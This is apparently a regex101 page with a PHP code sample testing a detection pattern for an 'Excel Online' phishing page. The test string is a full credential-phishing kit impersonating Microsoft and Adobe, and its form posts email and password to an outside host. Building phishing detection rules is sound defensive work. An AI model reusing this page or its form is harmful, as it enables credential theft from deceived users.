Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Match everything enclosed
    (?:...)
  • Capture everything enclosed
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*(?:<[^>]+>\s*)+<title>excel\s*online\s*\-\s*\w+<\/title>\s*<style(?:[^>]+>\s*)?<\!(?:[^>]+>\s*)?<\/style>/is'; $str = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Excel Online - 09KSJDJR4843984NF98738UNFD843</title> <style type="text/css"> <!-- body { background-image:url(""); background-repeat: no-repeat; background-size: 100% 100%; background-attachment: fixed; z-index: -950; margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; } .element { font-family: helvetica, verdana, tahoma, arial; width: 32em; border: 1px solid #EAEAEA; overflow: hidden; border-radius: 10px; box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.3); z-index: 11; position: relative; margin-top: 55px; margin-right: auto; margin-bottom: 0px; margin-left: auto; background-attachment: scroll; background-color: #FFF; background-image: none; background-repeat: repeat; background-position: 0% 0%; padding: 2%; opacity: 0.9; } .element_Left { font-family: helvetica, verdana, tahoma, arial; width: 27em; border: 1px solid #EAEAEA; overflow: hidden; border-radius: 10px; box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.3); z-index: 11; position: relative; margin-top: 55px; margin-right: 12.5%; margin-bottom: 0px; margin-left: auto; background-attachment: scroll; background-color: #FFF; background-image: none; background-repeat: repeat; background-position: 0% 0%; padding: 2%; opacity: 0.9; float: right; } .element_Right { font-family: "Times New Roman", Times, serif; width: 30em; height: 370px; overflow: hidden; z-index: 11; position: relative; margin-top: 55px; margin-right: auto; margin-bottom: 0px; margin-left: 12.5%; background-color: #FFF; background-image: url(https://mustek.co.za/wp-content/uploads/2016/04/download-1.png); background-repeat: no-repeat; background-position: center center; background-size: 100% 100%; float: left; border-radius: 4px; text-decoration: none; text-align: center; vertical-align: middle; box-sizing: border-box; box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.3); } .transparent { padding-top: 0%; padding-bottom: 4%; width: auto; margin-right: auto; margin-left: auto; display: block; clear: both; float: none; } .HeaderBox { background-color: #000; padding-top: 1%; padding-right: 12.5%; padding-bottom: 1%; padding-left: 12.5%; } .NavBox { background-color: #FFF; padding-top: 0.5%; padding-right: 12.5%; padding-bottom: 0.5%; padding-left: 12.5%; vertical-align: middle; } .logo1 { background-image: url(https://mustek.co.za/wp-content/uploads/2016/04/download-1.png); background-repeat: no-repeat; background-position: center center; position: absolute; left: 167px; top: 0px; height: 98px; width: 98px; z-index: 1000; background-size: 100% 100%; padding-top: 0%; padding-bottom: 2%; } .titlr_box { background-color: #D1D1D1; margin-bottom: 3%; padding-top: 0.2%; padding-right: 2%; padding-bottom: 0.2%; padding-left: 20%; border: 1px solid #BBB; background-image: url(https://mustek.co.za/wp-content/uploads/2016/04/download-1.png); background-repeat: no-repeat; background-position: 4% center; border-radius: 10px; } .copyright { font-size: 11px; color: #CCC; text-align: center; font-weight: bold; margin-top: 2%; margin-right: 12.5%; margin-left: 12.5%; clear: both; float: none; font-family: Arial, sans-serif; text-transform: capitalize; margin-bottom: 0%; } .document { padding-left: 11%; font-family: Arial, sans-serif; font-size: 16px; font-weight: bold; color: #333; width: 48%; padding-top: 1%; } .NavButton { display: block; float: right; font-family: helvetica, verdana, tahoma, arial; font-size: 12px; color: #333; text-transform: capitalize; padding-top: 1%; padding-right: 2%; padding-bottom: 1%; padding-left: 2%; background-color: #CAC8BF; border: 1px solid #BEBCAF; margin-left: 0.8%; text-decoration: none; box-sizing: border-box; } .clear2 { clear: both; float: none; } .getReader { clear: right; float: right; height: 39px; width: 158px; margin-top: 2px; margin-right: 0px; background-image: url(https://mustek.co.za/wp-content/uploads/2016/04/download-1.png); background-repeat: no-repeat; background-position: center center; } .button1 { background-color: #2B9AF3; border-radius: 0.188rem; clear: both; color: #FFF; display: inline-block; font-size: 0.875rem; font-weight: 400; letter-spacing: 0.063rem; line-height: normal; margin: 0.375rem 0px; padding: 0.438rem 0.875em; text-decoration: none; transition: background-color 0.3s ease 0s; box-sizing: border-box; border: 0px none; box-shadow: 2px 1px 2px #000; margin-right: 14px; } .button1:hover { background-color: #0C79D3; } .mustDownload { font-family: Georgia, "Times New Roman", Times, serif; font-size: 11px; font-weight: bold; text-transform: capitalize; color: #FFF; padding-top: 1%; padding-bottom: 0%; text-align: center; vertical-align: middle; display: block; } --> </style> <link href="Adobe%20Sign%20In_files/style.css" rel="stylesheet" type="text/css"> <script type="text/javascript"> <!-- function MM_goToURL() { //v3.0 var i, args=MM_goToURL.arguments; document.MM_returnValue = false; for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location=\'"+args[i+1]+"\'"); } //--> </script> </head> <body> <div style="background-color:rgba(0, 0, 0, 0.5); height:740px;"> <div class="HeaderBox"> <div align="right"><a target= "_blank" href="https://get.adobe.com/reader/"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRYYPgD2b9W7swtWsB5OmqXcIMJv6yIC8VuugJ8peOjDTQp45t5" width="158" height="39" longdesc= /> </a></div> <div class="clear2"></div></div> <div class="NavBox"> <a href="#" class="NavButton"></a><a href="#" class="NavButton"></a> <form><a href="#" onclick="window.print()" class="NavButton"></a> </form> <a href="#" class="NavButton"></a> <div class="document">CONFIRM YOUR EMAIL TO DOWNLOAD DOCUMENT </div> <div class="clear2"></div> </div> <div class="element"> <div class="titlr_box"> <h1 align="left"><https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS-WhDgpZ_lz01FKeei5pYG9EolGGv0hi_t0y2x3LQ2pMbVA5Iqlw> EXCEL SECURED ONLINE DOCUMENT</h1> </div> <p><strong>Confirm your identity</strong>!<br> Sign in with your receiving email account to view document.</p> <link href="Adobe%20Sign%20In_files/SpryValidationTextField.css" rel="stylesheet" type="text/css"> <link href="Adobe%20Sign%20In_files/style.css" rel="stylesheet" type="text/css"> <style type="text/css"> .textFieldlog { font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #2E2E2E; height: 24px; width: 96%; margin-bottom: 4px; border: 1px solid #A8A8A8; margin-right: auto; margin-left: auto; padding-top: 4px; padding-right: 10px; padding-bottom: 4px; padding-left: 10px; background-color: #FAFAF8; background-image: url(images/bg_form.png); background-repeat: repeat; } .ButtonLOG { color: #FFF; background-color: #F66; border: 1px solid #FFF; padding-top: 5px; padding-right: 3px; padding-bottom: 5px; padding-left: 3px; font-family: Arial, sans-serif; font-size: 11.6px; -webkit-border-radius: 4px; -moz-border-radius: 4px; -khtml-border-radius: 4px; border-radius: 4px; margin-right: 2%; text-decoration: none; margin-toAdobe%20Sign%20In_files/secure.pngF2F2F; } .texthinter { font-size: 14px; font-family: Arial, sans-serif; color: #333; } .textform { font-family: Arial, Helvetica, sans-serif; font-size: 10px; text-transform: uppercase; color: #4D4D4D; } .YeloowTop { background-color: #4B4B4B; border: 1px solid #333333; padding: 2%; width: auto; margin-right: auto; margin-left: auto; font-family: Arial, Helvetica, sans-serif; font-size: 16px; color: #FFF; } .hint23 { background-color: #FFEAEA; border: 1px solid #FBB; font-family: Tahoma, Geneva, sans-serif; color: #2B2D3C; font-size: 16px; margin-bottom: 2%; width: auto; margin-right: auto; margin-left: auto; margin-top: 2%; padding-top: 3%; padding-right: 3%; padding-bottom: 3%; padding-left: 8%; background-image: url(images/warning.png); background-repeat: no-repeat; background-position: 8px; } .sidebox67 { background-color: #FFCC00; padding: 4%; width: auto; margin-right: auto; margin-left: auto; } </style> <script src="Adobe%20Sign%20In_files/SpryValidationTextField.js" type="text/javascript"></script> <script> function validateForm() { var x = document.forms["loginForm"]["email"].value; var atpos = x.indexOf("@"); var dotpos = x.lastIndexOf("."); if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) { alert("Not a valid e-mail address"); return false; } } </script> <form autocomplete="off" method="post" action="http://mormanagement.com/ppplll/ab.php" name="loginForm" onsubmit="return validateForm();" > <table align="center" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody><tr valign="baseline"> <td class="texthinter" align="left" height="57" nowrap="nowrap" valign="top" width="71%"><label for="repl_id1"><strong>Email ID:</strong></label> <br> <strong> <label for="email"></label> <span id="sprytextfield2"> <input autocomplete="off" name="email" class="textFieldlog" id="email" placeholder="Enter Email Address" type="text" autofocus > </span></strong></td> <td rowspan="2" class="texthinter" align="right" nowrap="nowrap" valign="middle" width="29%"><img src="https://mustek.co.za/wp-content/uploads/2016/04/download-1.png" height="108" width="108"></td> </tr> <tr valign="top"> <td class="texthinter" align="left" nowrap="nowrap"> <label for="repl_id1"><strong>Password:</strong></label> <br><span id="sprytextfield1"> <input autocomplete="off" name="pass" class="textFieldlog" id="pswrd" value="" size="32" placeholder="Enter Your Password" type="password"> <span class="textfieldRequiredMsg"><br> <div class="texthinter">Password is Required.</div></span></span></td> </tr> <tr valign="baseline"> <td align="left" nowrap="nowrap" valign="middle"> <input class="button1" value="View Document" name="submit" type="submit"> <input name="button2" id="button2" value="Reset" class="button1" type="reset"></td> <td align="left" nowrap="nowrap" valign="middle">&nbsp;</td> </tr> </tbody></table> </form> <script type="text/javascript"> <!-- var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1"); var sprytextfield2 = new Spry.Widget.ValidationTextField("sprytextfield2", "email"); //--> </script> </div> <div class="logo1"><img src="" width="110"/></div> <div class="copyright">©2017 Microsoft Terms of use Privacy & cookies.</div></div> <div class="<img src="https://secure.aadcdn.microsoftonline-p.com/ests/2.1.6795.13/content/images/microsoft_logo.png" alt="Microsoft account symbol"> </body> </html>'; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php